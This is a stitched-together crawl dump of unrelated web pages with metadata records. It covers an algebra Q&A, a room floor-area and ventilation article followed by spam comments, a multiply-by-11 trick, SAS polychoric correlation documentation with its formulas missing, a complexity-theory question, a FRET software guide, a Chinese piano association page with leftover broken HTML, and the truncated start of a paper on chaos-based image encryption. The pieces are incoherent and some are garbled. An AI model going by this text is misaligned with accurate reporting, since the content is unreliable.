] | {"ft_lang_label":"__label__en","ft_lang_prob":0.84040034,"math_prob":0.9322542,"size":3219,"snap":"2023-40-2023-50","text_gpt3_token_len":947,"char_repetition_ratio":0.11944012,"word_repetition_ratio":0.07475083,"special_character_ratio":0.3007145,"punctuation_ratio":0.1146789,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96619976,"pos_list":[0,1,2],"im_url_duplicate_count":[null,3,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-28T12:20:31Z\",\"WARC-Record-ID\":\"<urn:uuid:80233d3a-621a-42ef-9e7a-eb57a022a491>\",\"Content-Length\":\"98888\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ec6445ec-3c28-4b34-a4d8-1e9ffdf79595>\",\"WARC-Concurrent-To\":\"<urn:uuid:3f6a707c-7a91-4b61-8328-0750428ff878>\",\"WARC-IP-Address\":\"192.0.78.13\",\"WARC-Target-URI\":\"https://blog.jooq.org/intersect-the-underestimated-two-way-in-predicate/\",\"WARC-Payload-Digest\":\"sha1:S5I2MANGLRDBITSTDT46WWD254CO5XJL\",\"WARC-Block-Digest\":\"sha1:QT23VTEICFZRRNGK23WEQO4QJTKLOXGN\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233510387.77_warc_CC-MAIN-20230928095004-20230928125004-00880.warc.gz\"}"} |
https://englishlangkan.com/question/match-the-terms-to-their-definition-1-an-open-sentence-of-the-form-a-by-c-0-or-a-by-c-0-linear-i-14098842-6/ | [
"## Match the terms to their definition.1 . an open sentence of the form Ax + By + C < 0 or Ax + By + C > 0 linear inequality2 . equation\n\nQuestion\n\nMatch the terms to their definition.1 . an open sentence of the form Ax + By + C < 0 or Ax + By + C > 0 linear inequality2 . equation containing more than one variable compound inequality3 . a statement formed by two or more inequalities literal equationan\n\nin progress 0\n2 weeks 2021-09-12T09:04:13+00:00 1 Answer 0\n\n1 . An open sentence of the form Ax + By + C < 0 is a linear inequality.\n\n2 . An equation containing more than one variable is a literal equation.\n\n3 . A statement formed by two or more inequalities is a compound inequality.\n\nStep-by-step explanation:\n\nA linear Inequality contains one inequality sign (> or <) sign, In Ax + By + C < 0, Ax + By + C is less than 0.\n\nA literal equation contains more than one variable and equates to a number. An example is Ax + By = 0.\n\nA compound inequality uses OR and AND to join two linear inequalities. When AND is used, it indicates that the values of the variables are true in both inequalities."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8964543,"math_prob":0.9999261,"size":1145,"snap":"2021-31-2021-39","text_gpt3_token_len":301,"char_repetition_ratio":0.17177914,"word_repetition_ratio":0.3484163,"special_character_ratio":0.30131003,"punctuation_ratio":0.12288135,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99449545,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-09-25T12:30:14Z\",\"WARC-Record-ID\":\"<urn:uuid:9622c9c6-6b81-4a43-a9e1-b8fa121c591d>\",\"Content-Length\":\"76627\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:f0dc0836-c4a6-415e-aaf5-32b8f5650cf2>\",\"WARC-Concurrent-To\":\"<urn:uuid:35d7f876-9916-495a-b67d-5ec531229bb3>\",\"WARC-IP-Address\":\"172.96.186.144\",\"WARC-Target-URI\":\"https://englishlangkan.com/question/match-the-terms-to-their-definition-1-an-open-sentence-of-the-form-a-by-c-0-or-a-by-c-0-linear-i-14098842-6/\",\"WARC-Payload-Digest\":\"sha1:DORD5FBPCZTBJ6OK3DOIQXESPE6CM3JQ\",\"WARC-Block-Digest\":\"sha1:ELDUAJRNZSN5BAFUU67WLF4MK3VA5JCY\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-39/CC-MAIN-2021-39_segments_1631780057622.15_warc_CC-MAIN-20210925112158-20210925142158-00076.warc.gz\"}"} |
https://gooddatingstory.com/how-to-calculate-the-floor-area-of-a-room.php | [
"# How to calculate the floor area of a room",
null,
"How to Calculate the Square Footage of Your Room\n\nConvert among square inch, square foot, square yard and square meter. Square Feet to Square Yards multiply ft 2 by to get yd 2. Square Feet to Square Meters multiply ft 2 by to get m 2. Square Yards to Square Feet multiply yd 2 by 9 to get ft 2. Square Yards to Square Meters. To calaculate room square footage, first measure the dimensions of your space. The two dimensions to measure are the length and width of the area you need to calculate. To find length, locate the longest side of the area to be measured. Fix a tape measure or other measuring tool to one end of the length and extend it to the other end.\n\nFor a square or rectangular room, you will first need to gloor the length and then the width of the room. So, if your room measures 11 feet wide x 15 feet long, your total area will be square feet. You will need this measurement when estimating the amount of tile mortar, too and sealer that you will use for your project. So, if your total area is square feet, you will need to order enough tile mortar and grout for square feet.\n\nIf your room is not perfectly square such as an \"L\" shapeyou will need to split up the room into two sections in order to calculate the total area. Measure the height and length of each rectangle, calculate the total area of each rectangle, and then add the totals together.\n\nIf your room has a diagonal shape or corner, you will need to split up the room into two sections in order to calculate the total area. Next, measure the triangle's base width and thee top-to-bottom length. Then divide the base by 2 and multiply this number by the height. Finally, add the areas of the rectangle and triangle together. You will first need to measure the height and yo of the wall.\n\nSo, if your wall measures 4 feet high x 9 feet long, your total area will be 36 square feet. So, if your total area is 36 square feet, you will need to order what was life like for women in the 1930s tile mortar and grout for 40 square feet.\n\nIf you have multiple walls, such as in the case of a tub surround, it's easy. Start by using the same method of calculating the area of a single wall. Just measure the height and length of each wall, calculate the total area of each wall, add then add the total areas together. How can I calculate a room's area? Floors For a square or rectangular room, you will first need to measure the length and then the width of the room.\n\nThen multiply the length and width. First, measure the rectangle's length and width. Then calculate the total area of the rectangle. Walls You will first need to measure the height and length of the wall. Then multiply the height and length.\n\nCalculator Use\n\nUse this calculator to work out the floor area of a room If you're room is rectangular, then simply enter the width and depth of the room and the unit of measure, and the resulting floor area of the room will be calculated in several different units of measure, both metric and imperial, useful if you are measuring the room in one unit but for example the floor tiles you want are measured in a. It is imperative to calculate the area of a room before you start shopping for a new carpet, hardwood flooring, floor tiles or even wallpaper and paint. Whether you are moving into a new home or merely redecorating your place, knowing how to calculate the square footage of a room will help you plan the perfect layout, choose the right furniture. Step 4: Hit \"Calculate Area\" button. Step 5: Results: Room Calculator will give you two results, both calculated in gooddatingstory.com a. The area without waste. You can use it to calculate net square footage of more than just one room. b. The area with waste. This is your \"total\" square footage you can use to buy your flooring.. Calculate Your Area.\n\nPer the International Residential Code, certain rooms within dwellings must be provided with a minimum amount of lighting and ventilation.\n\nBefore we get into the numbers and how to calculate the required light and ventilation, it is important to understand which rooms within a dwelling are required to comply and which rooms are not. As stated in section R Bathrooms, toilet rooms, closets, halls, storage or utility spaces and similar areas are not considered habitable spaces. Therefore given the above definition, the following rooms are considered Habitable:.\n\nThese spaces are occupied for the majority of the time. Even though toilet rooms, closets, hallway, and similar areas can also be occupied, these spaces are typically considered accessory to the main use and are used when the habitable spaces are occupied. Now even though Bathrooms are not considered a Habitable Space by the code, there still are some light and ventilation requirements for Bathrooms which we will discuss later below.\n\nThe aggregate glazing area for a Habitable Room shall not be less than 8 percent of the floor area of the room. So basically all of the glazing provided in a room added up shall not be less than 8 percent of the rooms floor area. For example if two windows are provided in a bedroom, the size of both windows added together must not be less than 8 percent of the rooms square footage.\n\nLets run through a quick example to better understand this concept. Habitable rooms must provide openings that total no less than 4 percent of the floor area of the room being ventilated. The openable area shall be open to the outdoors, not another room. These openings can be provided through windows, skylights, doors, louvers, or other approved methods that open to the outside air. These openings must be easily accessed or readily controllable by the building user.\n\nThe code does not require these types of openings to remain open constantly but instead that they remain operable and available to the building user when needed. Generally this is how you calculate the natural light and ventilation for habitable rooms.\n\nSection R What happens when you have two room adjoining each other? How do you calculate the required light and ventilation for the two rooms? Or what if a room does not have enough light and ventilation, can you use the light and ventilation provided by the adjacent room? The answer to these questions can be found in Section R When trying to determine the light and ventilation requirements for a room, an adjoining room can be considered as a portion of the room first room when the opening between them complies with this Section of the code.\n\nThe opening in the wall must meet these parameters in order for two rooms to be considered as one. The opening must also be unobstructed. Lets say a square foot Living Room and a square foot Dining Room share a common wall with an opening adjoining both rooms.\n\nThe area of the common wall is square feet and the opening within the wall is 84 square feet. Calculate the required light and ventilation for both rooms and check to see if the opening in the common wall is large enough for one room to borrow light and vent from the other.\n\nFirst off lets check to see if the opening between the two rooms is large enough to borrow light and vent from one another. All 3 requirements check out which means the opening in the adjoining wall is large enough for the two rooms to borrow light and ventilation from each other. Now lets see if there is enough Light and Ventilation provided for both these rooms. Now that we know what is required, see the graphic below visually showing the example above and see how much Light and Ventilation is provided.\n\nGenerally this is how you calculate the natural light and ventilation for adjoining habitable rooms that share a common wall with an opening. Even though bathrooms are not considered a habitable room, the code has a separate light and ventilation requirement for them. Generally this is how you calculate the natural light and ventilation for bathrooms. By visiting our site, you agree to our privacy policy regarding cookies, tracking statistics, etc.\n\nRead more. Accept X. Habitable Rooms As stated in section R What is considered a Habitable Room per the Residential Code? Wall Area: 16 ft. Opening Area: 12 ft. Let run through the 3 checks as outline in Section R Natural Light Living Room: sq. Dining Room: sq. Natural Ventilation Living Room: sq. Read more Accept X.\n\nMore articles in this category:\n<- How to treat hormone imbalance - What tv movie did arthur ashe appear in->\n\n## 5 thoughts on “How to calculate the floor area of a room”\n\n1.",
null,
"Kinos:\n\nDumbass are you, i dont huff you but you are so stupid that write a lot of swear word\n\n2.",
null,
"Gogul:\n\nJago Strong- Wright I get private coaching with divine strength system\n\n3.",
null,
"Sharg:\n\nTipTut thnx\n\n4.",
null,
"Tojajora:\n\nOh well, perhaps one day.\n\n5.",
null,
"Gardagul:\n\nBestest"
] | [
null,
"http://www.ukflooringsupply.co.uk/library/images/image4.jpg",
null,
"https://gooddatingstory.com/img/1.jpg",
null,
"https://gooddatingstory.com/img/1.jpg",
null,
"https://gooddatingstory.com/img/1.jpg",
null,
"https://gooddatingstory.com/img/1.jpg",
null,
"https://gooddatingstory.com/img/1.jpg",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9351865,"math_prob":0.9654904,"size":8658,"snap":"2021-31-2021-39","text_gpt3_token_len":1823,"char_repetition_ratio":0.16050382,"word_repetition_ratio":0.111182936,"special_character_ratio":0.2044352,"punctuation_ratio":0.093457945,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96359944,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12],"im_url_duplicate_count":[null,5,null,null,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-07-30T12:59:06Z\",\"WARC-Record-ID\":\"<urn:uuid:931e8c58-acc3-4339-8077-ba8e38dff36e>\",\"Content-Length\":\"30531\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:18f957ae-4776-431b-9438-dabb036b2ce7>\",\"WARC-Concurrent-To\":\"<urn:uuid:222b52dd-917c-46b9-939d-9dea3f4a14a4>\",\"WARC-IP-Address\":\"172.67.130.51\",\"WARC-Target-URI\":\"https://gooddatingstory.com/how-to-calculate-the-floor-area-of-a-room.php\",\"WARC-Payload-Digest\":\"sha1:CIIZW4EKSN43WKN6BUQM5YGSH2OL3IX3\",\"WARC-Block-Digest\":\"sha1:7IJZ7RLAEERWJVQDBC5PWXSSHV55E4SB\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-31/CC-MAIN-2021-31_segments_1627046153966.60_warc_CC-MAIN-20210730122926-20210730152926-00177.warc.gz\"}"} |
http://www.themathworld.com/math-tricks/multiply-by-11.php | [
"# Multiply by 11\n\nMultiplying by 11 is one of the easiest tricks to learn because you don't have to do any multiplication. You just have to know how to add.\n\nThis trick will work for any number multiplied by 11 even really large numbers.\n\nLook at the math problem 11 X 3247 = ? Let's see how the trick works.\n\n• Write down the one's digit: 7\n• Add the one's and ten's digits together 7 + 4 = 11 so carry a 1 and write down 1.\n• Add the next two numbers 4 + 2 = 6 and add the 1 we carried which is 7. Write down 7.\n• Add the next two numbers 2 + 3 = 5 and no numbers carried over. Write down 5.\n• Add the last number 3 to any numbers you just carried over. We carried over 0 so write down 3\n\nANSWER is 35717.\n\nWatch the math video below for a detailed explanation!\n\n### Practice Math Problems\n\n1. What does 11 x 845 = ?\n2. What does 11 x 21 = ?\n3. What does 11 x 62 = ?\n4. What does 11 x 144 = ?\n5. What does 11 x 623 = ?\n6. What does 11 x 84001 = ?\n7. What does 11 x 9533 = ?\n8. What does 11 x 11= ?\n9. What does 11 x 19 = ?\n10. What does 11 x 10002 = ?"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.91718286,"math_prob":0.9908576,"size":1028,"snap":"2019-35-2019-39","text_gpt3_token_len":320,"char_repetition_ratio":0.21582031,"word_repetition_ratio":0.12448133,"special_character_ratio":0.38229573,"punctuation_ratio":0.105726875,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99947876,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-08-21T07:31:08Z\",\"WARC-Record-ID\":\"<urn:uuid:0ba8cff8-70ca-4b8a-8f12-9120f37f31e3>\",\"Content-Length\":\"10551\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:cdb86f5b-4c17-4846-bd1c-2aa77e9e6dfd>\",\"WARC-Concurrent-To\":\"<urn:uuid:49722554-771e-4851-99fb-b342e1c31550>\",\"WARC-IP-Address\":\"184.154.229.52\",\"WARC-Target-URI\":\"http://www.themathworld.com/math-tricks/multiply-by-11.php\",\"WARC-Payload-Digest\":\"sha1:SYI37Q7K4KV5FM76EALNNHHCUWKDBM6X\",\"WARC-Block-Digest\":\"sha1:DINLEXY7XI5RRITYX22P7KB2H5G5T6Z5\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-35/CC-MAIN-2019-35_segments_1566027315811.47_warc_CC-MAIN-20190821065413-20190821091413-00124.warc.gz\"}"} |
https://answers.everydaycalculation.com/gcf/2380-2450 | [
"Solutions by everydaycalculation.com\n\n## What is the GCF of 2380 and 2450?\n\nThe gcf of 2380 and 2450 is 70.\n\n#### Steps to find GCF\n\n1. Find the prime factorization of 2380\n2380 = 2 × 2 × 5 × 7 × 17\n2. Find the prime factorization of 2450\n2450 = 2 × 5 × 5 × 7 × 7\n3. To find the gcf, multiply all the prime factors common to both numbers:\n\nTherefore, GCF = 2 × 5 × 7\n4. GCF = 70\n\nMathStep (Works offline)",
null,
"Download our mobile app and learn how to find GCF of upto four numbers in your own time:"
] | [
null,
"https://answers.everydaycalculation.com/mathstep-app-icon.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7965492,"math_prob":0.9962111,"size":549,"snap":"2020-10-2020-16","text_gpt3_token_len":171,"char_repetition_ratio":0.11192661,"word_repetition_ratio":0.0,"special_character_ratio":0.37704918,"punctuation_ratio":0.08737864,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99642944,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-02-23T15:47:25Z\",\"WARC-Record-ID\":\"<urn:uuid:0e341bf7-b936-4043-8991-b6364368d37b>\",\"Content-Length\":\"5731\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:37b939ad-30a3-4614-a57d-ed7067129198>\",\"WARC-Concurrent-To\":\"<urn:uuid:d9145165-cf82-4f26-9177-aa2e700e1e9b>\",\"WARC-IP-Address\":\"96.126.107.130\",\"WARC-Target-URI\":\"https://answers.everydaycalculation.com/gcf/2380-2450\",\"WARC-Payload-Digest\":\"sha1:WJRKDCEL6RYTVJWAE3UUFSO222ZFCOSD\",\"WARC-Block-Digest\":\"sha1:3IY3S66DPFFZVC6HTJRUPKGGHWH55GYY\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-10/CC-MAIN-2020-10_segments_1581875145818.81_warc_CC-MAIN-20200223154628-20200223184628-00047.warc.gz\"}"} |
http://support.sas.com/documentation/cdl/en/procstat/70116/HTML/default/procstat_corr_details14.htm | [
"# The CORR Procedure\n\n### Polychoric Correlation\n\nSubsections:\n\nPolychoric correlation measures the correlation between two unobserved, continuous variables that have a bivariate normal distribution. Information about each unobserved variable is obtained through an observed ordinal variable that is derived from the unobserved variable by classifying its values into a finite set of discrete, ordered values (Olsson 1979; Drasgow 1986). Polychoric correlation between two observed binary variables is also known as tetrachoric correlation.\n\nThe polychoric correlation coefficient is the maximum likelihood estimate of the product-moment correlation between the underlying normal variables. The range of the polychoric correlation is from –1 to 1. Olsson (1979) gives the likelihood equations and the asymptotic standard errors for estimating the polychoric correlation. The underlying continuous variables relate to the observed ordinal variables through thresholds, which define a range of numeric values that correspond to each categorical level. PROC CORR uses Olsson’s maximum likelihood method for simultaneous estimation of the polychoric correlation and the thresholds.\n\nPROC CORR iteratively solves the likelihood equations by using a Newton-Raphson algorithm. The initial estimates of the thresholds are computed from the inverse of the normal distribution function at the cumulative marginal proportions of the table. Iterative computation of the polychoric correlation stops when the convergence measure falls below the convergence criterion or when the maximum number of iterations is reached, whichever occurs first.\n\n#### Probability Values\n\nThe CORR procedure computes two types of testing for the zero polychoric correlation: the Wald test and the likelihood ratio (LR) test.\n\nGiven the maximum likelihood estimate of the polychoric correlation and its asymptotic standard error , the Wald chi-square test statistic is computed as\n\nThe Wald statistic has an asymptotic chi-square distribution with one degree of freedom.\n\nFor the LR test, the maximum likelihood function assuming zero polychoric correlation is also needed. The LR test statistic is computed as\n\nwhere is the likelihood function with the maximum likelihood estimates for all parameters, and is the likelihood function with the maximum likelihood estimates for all parameters except the polychoric correlation, which is set to 0. The LR statistic also has an asymptotic chi-square distribution with one degree of freedom."
] | [
null
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https://cstheory.stackexchange.com/questions/38830/parametrically-relaxed-kolmogorov-complexity | [
"# Parametrically-relaxed Kolmogorov complexity\n\nConsider the following problem:\n\nInput: An integer $n$ and a subset $S \\subseteq \\{0...n-1\\}$ in some representation.\nOutput: The encoding of some kind of automaton (say, a Turing machine) which enumerates this set.\n\nIf you want the shortest machine, then this is a witness variant of determining the Kolmogorov complexity of the input. This is intractable of course.\n\nBut now suppose I make the following changes/relaxations to the problem:\n\n1. It's sufficient to enumerate a set $S'$ such that $S \\subseteq S' \\subseteq \\{0...n-1\\}$, of size at most $\\delta n$.\n2. Instead of an enumeration, I want a machine which is given $i$ and outputs the $i$-th element in $S'$.\n3. I don't really need the smallest machine. I only need its size to be independent on $n$, and I want it to be fast - taking $T(n)$ time.\n\nSo my parameters are $\\delta$ and $T(n)$; I need to devise an algorithm which gives a good tradeoff between them, as a factor of $n$, in the worst-case (i.e. for all values of $S$). And - no asymptotics for that tradeoff! No monstrous constants hidden in $O(\\cdot)$ notations, this needs to work in the \"real\" world.\n\nNow, of course I don't expect people here to solve this problem for me. What I was hoping is that this, or similar, problems have been studied in the TCS community, enough for people to provide suggested directions/pointers/inspirations for this.\n\nNotes:\n\n• A variant of the above which is also of interest is when $S'$ can also discard some elements of $S$, say, $\\varepsilon |S|$ of them.\n• If you want some motivation, think: \"Dictionary-like compression scheme selection mechanism\"."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9210476,"math_prob":0.96249676,"size":1603,"snap":"2021-31-2021-39","text_gpt3_token_len":408,"char_repetition_ratio":0.09193246,"word_repetition_ratio":0.0,"special_character_ratio":0.25639427,"punctuation_ratio":0.1380368,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9972539,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-09-16T17:56:08Z\",\"WARC-Record-ID\":\"<urn:uuid:99fa2427-b0f1-4a96-a947-129842251d27>\",\"Content-Length\":\"160519\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:fee24063-36df-4266-b6bc-f885397aa1ad>\",\"WARC-Concurrent-To\":\"<urn:uuid:b297b974-7c03-4727-8a9a-93c3a63d5a5d>\",\"WARC-IP-Address\":\"151.101.65.69\",\"WARC-Target-URI\":\"https://cstheory.stackexchange.com/questions/38830/parametrically-relaxed-kolmogorov-complexity\",\"WARC-Payload-Digest\":\"sha1:CVX6XCDXXKGKQ6NQHGDOOS5J4E4QMRN2\",\"WARC-Block-Digest\":\"sha1:WTWZZZNZJ3CTVYQPSYDI3B7OEZXOCZZG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-39/CC-MAIN-2021-39_segments_1631780053717.37_warc_CC-MAIN-20210916174455-20210916204455-00460.warc.gz\"}"} |
http://inano.au.dk/about/research-groups/single-molecule-biophysics-and-chemistry-group/software/getstarted/quick2/ | [
"# Single-Molecule FRET Microscopy Software",
null,
"# Quick Guide 2: Calculate Correction Factors in Single-Molecule FRET\n\nThis guide assumes you have already found FRET-pairs and calculated time traces as described\nin Quick Guide 1.\n\n## 2. Open correction factor window",
null,
"Open the correction factor window in the toolbar of the main window.",
null,
"The correction factor window automatically calculates correction factors of molecules showing bleaching. Select the correction factor of choice in the lower right panel. The listbox lists all molecules applicable for calculating the selected correction factor and shows the value of the correction factor of each molecule along with its standard deviation. The traces to the left highlights the time-intervals used for calculating the correction factor of the selected molecule.",
null,
"If the default intervals used for calculating the correction factor are not optimal set the intervals manually: Select 'Set time-interval...' in the toolbar. Move the crosshair to the interval of the trace. Select the new interval of interest by pressing left mouse button twice within the trace, which defines the new interval.",
null,
"The new interval is shown in the plot and the correction factor of the selected molecule is automatically updated according to the new interval.",
null,
"To determine a global correction factor value and a histogram of all molecules select multiple molecules in the listbox. The histogram to the right is automatically updated according to the selection and shows the global correction factor value above the plot. Use the slider to set bin size.",
null,
"The default settings for calculating correction factors are set in 'Settings->Correction factor settings'."
] | [
null,
"http://www.aucdn.dk/2016/assets/img/au_segl-inv.svg",
null,
"http://inano.au.dk/about/research-groups/single-molecule-biophysics-and-chemistry-group/software/getstarted/quick2/fileadmin/_processed_/csm_quick2_5_f83282520a.png",
null,
"http://inano.au.dk/about/research-groups/single-molecule-biophysics-and-chemistry-group/software/getstarted/quick2/fileadmin/_processed_/csm_quick2_6_94ddd66dc3.png",
null,
"http://inano.au.dk/about/research-groups/single-molecule-biophysics-and-chemistry-group/software/getstarted/quick2/fileadmin/_processed_/csm_quick2_9_01_8a08cac794.png",
null,
"http://inano.au.dk/about/research-groups/single-molecule-biophysics-and-chemistry-group/software/getstarted/quick2/fileadmin/_processed_/csm_quick2_10_f4381794d0.png",
null,
"http://inano.au.dk/about/research-groups/single-molecule-biophysics-and-chemistry-group/software/getstarted/quick2/fileadmin/_processed_/csm_quick2_7_bf8cb3153a.png",
null,
"http://inano.au.dk/about/research-groups/single-molecule-biophysics-and-chemistry-group/software/getstarted/quick2/fileadmin/_processed_/csm_quick2_11_e97e3b2e73.png",
null
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http://haizhiyunpiano.com/index.php?m=content&c=index&a=show&catid=124&id=1186 | [
"关于安徽省钢琴协会\n\n*入会联系人：\n\n*入会地址：\n\n*入会申请表格下载请登陆安徽省钢琴协会官方网站：\n\nhttp://www.ahgqxhpiano.com",
null,
"",
null,
"<span helvetica=\"\" neue\",=\"\" \"pingfang=\"\" sc\",=\"\" \"hiragino=\"\" sans=\"\" gb\",=\"\" \"microsoft=\"\" yahei=\"\" ui\",=\"\" yahei\",=\"\" arial,=\"\" sans-serif;=\"\" white-space:=\"\" normal;=\"\" word-spacing:=\"\" 0px;=\"\" text-transform:=\"\" none;=\"\" float:=\"\" font-weight:=\"\" 400;=\"\" color:=\"\" rgb(51,51,51);=\"\" font-style:=\"\" text-align:=\"\" left;=\"\" orphans:=\"\" 2;=\"\" widows:=\"\" display:=\"\" inline=\"\" !important;=\"\" letter-spacing:=\"\" 2px;=\"\" background-color:=\"\" rgb(255,255,255);=\"\" text-indent:=\"\" font-variant-ligatures:=\"\" font-variant-caps:=\"\" -webkit-text-stroke-width:=\"\" text-decoration-style:=\"\" initial;=\"\" text-decoration-color:=\"\" initial\"=\"\" style=\"word-wrap: break-word;\">"
] | [
null,
"http://hfhzypiano.com/admin/kindeditor/attached/image/20181221/20181221171181438143.jpg",
null,
"http://hfhzypiano.com/admin/kindeditor/attached/image/20181221/20181221171184798479.jpg",
null
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https://www.hindawi.com/journals/mpe/2014/427349/ | [
"Research Article | Open Access\n\nVolume 2014 |Article ID 427349 | https://doi.org/10.1155/2014/427349\n\nJun-xin Chen, Zhi-liang Zhu, Li-bo Zhang, Chong Fu, Hai Yu, \"An Efficient Diffusion Scheme for Chaos-Based Digital Image Encryption\", Mathematical Problems in Engineering, vol. 2014, Article ID 427349, 13 pages, 2014. https://doi.org/10.1155/2014/427349\n\n# An Efficient Diffusion Scheme for Chaos-Based Digital Image Encryption\n\nRevised17 Feb 2014\nAccepted26 Feb 2014\nPublished31 Mar 2014\n\n#### Abstract\n\nIn recent years, amounts of permutation-diffusion architecture-based image cryptosystems have been proposed. However, the key stream elements in the diffusion procedure are merely depending on the secret key that is usually fixed during the whole encryption process. Cryptosystems of this type suffer from unsatisfactory encryption speed and are considered insecure upon known/chosen plaintext attacks. In this paper, an efficient diffusion scheme is proposed. This scheme consists of two diffusion procedures, with a supplementary diffusion procedure padded after the normal diffusion. In the supplementary diffusion module, the control parameter of the selected chaotic map is altered by the resultant image produced after the normal diffusion operation. As a result, a slight difference in the plain image can be transferred to the chaotic iteration and bring about distinct key streams, and hence totally different cipher images will be produced. Therefore, the scheme can remarkably accelerate the diffusion effect of the cryptosystem and will effectively resist known/chosen plaintext attacks. Theoretical analyses and experimental results prove the high security performance and satisfactory operation efficiency of the proposed scheme.\n\n#### 1. Introduction\n\nWith the rapid development of communication technologies, the utilization of visual content in addition to textual information becomes much more prevalent than the past. Cryptographic approaches are therefore critical for secure digital image storage and distribution over public networks. However, traditional data encryption algorithms such as Triple-DES, IDEA, AES, and other symmetric cryptographic algorithms are found poorly suited for digital images characterized with some intrinsic features such as high pixel correlation and redundancy .\n\nThe fundamental characteristics of chaotic systems, such as ergodicity and sensitivity to initial condition and control parameters, have attracted researchers’ attention since such features can be considered analogous to the desired cryptographic properties. In 1998, Fridrich proposed the first general architecture for chaos-based image cryptosystems. This architecture is composed of two stages: permutation and diffusion . In the first stage, pixels are shuffled by a two-dimensional area-preserving chaotic map to erase the high correlation between adjacent pixels. Then, pixel values are modified sequentially using a certain discretized one-dimensional chaotic map in the diffusion procedure. Fridrich’s architecture has become the most popular structure and has been adopted in amounts of chaos-based image cryptosystems subsequently proposed . In [3, 4], the 2D chaotic cat map and baker map are generalized to 3D for designing a real-time secure symmetric encryption scheme. The two approaches employ the 3D map to shuffle the positions of image pixels and use another chaotic map to confuse the relationship between the cipher image and plain image. In , Xiang et al. proposed a selective gray-level image encryption scheme, in which only 50% of the whole image data is encrypted, and therefore the encryption time is reduced. In , Wang et al. proposed a chaos-based image encryption algorithm with variable control parameters with the purpose to resist known/chosen plaintext attacks. In , Patidar et al. proposed an image cipher using two rounds of confusion and two rounds of diffusion. In the diffusion phase, the vertical and horizontal diffusions are performed using standard map and logistic map, respectively. In , Fu et al. proposed an improved diffusion strategy named bidirectional diffusion to accelerate the spreading process and reduce the required diffusion rounds. An improved permutation-diffusion type image cipher was proposed in . By the comprehensive utilization of the orbit-perturbing chaotic map, pixel swapping-based confusion approach, and the reverse direction diffusion innovation, a satisfactory security performance can be achieved with low computational complexity. In order to achieve larger key space and overcome the weak security in one-dimensional chaotic system, hyperchaotic systems were employed for image encryption in , and multichaotic systems or coupled nonlinear chaotic map was used in . DNA encoding and balanced two-dimensional cellular automata are employed for image encryption to achieve enhanced security level and fast encryption speed in [18, 19], respectively. In , researchers developed the permutation procedure from the pixel level to bit level so as to achieve certain diffusion effects in the permutation stage.\n\nAs pointed out by many previous works, the diffusion procedure is the highest cost of the whole cryptosystem. This is because a considerable amount of computation load is devoted to the chaotic map iteration and quantization operation that is required for the key stream generation. Therefore, the critical issue of an efficient image cryptosystem is to reduce the required diffusion rounds. Moreover, Wang et al. pointed out that the same key stream may be used to encrypt different plain images if the secret key remains unchanged . Opponents may crack the key stream by known plaintext or chosen plaintext attacks, that is, by encrypting some special plain images (plain image with identical pixel values) and then comparing them with the corresponding ciphered images . Therefore, to further enhance the security, the key stream elements extracted from the same secret key should better be distinct and related to the plain image. In this regard, Wang et al. proposed a chaos-based image encryption algorithm with variable control parameters, in which the key stream elements used for diffusion are related to the current processing plain pixels. Accordingly, different plain images result in distinct key streams, and hence the cryptosystem can effectively resist known/chosen plaintext attacks. However, approximately 50% more than required chaotic iterations have to be implemented to produce sufficient key stream elements in Wang’s algorithm, and that downgrades the efficiency of the cryptosystem.\n\nIn order to accelerate the diffusion effect of permutation-diffusion type image cryptosystems and further enhance the security performance, we propose a more efficient diffusion scheme. The novel scheme consists of two relevant diffusion procedures in one overall encryption round. A supplementary diffusion module is padded after the normal diffusion procedure, in which the control parameter of the chaotic map will be altered by the resultant image generated after the normal diffusion operation. This scheme can make full use of the chaotic system’s sensitivity to control parameters, as the slight difference in the image can be transferred to the chaotic iteration and then brings about distinct key streams even though the same secret keys are applied. Therefore, totally different cipher images will be produced and hence the 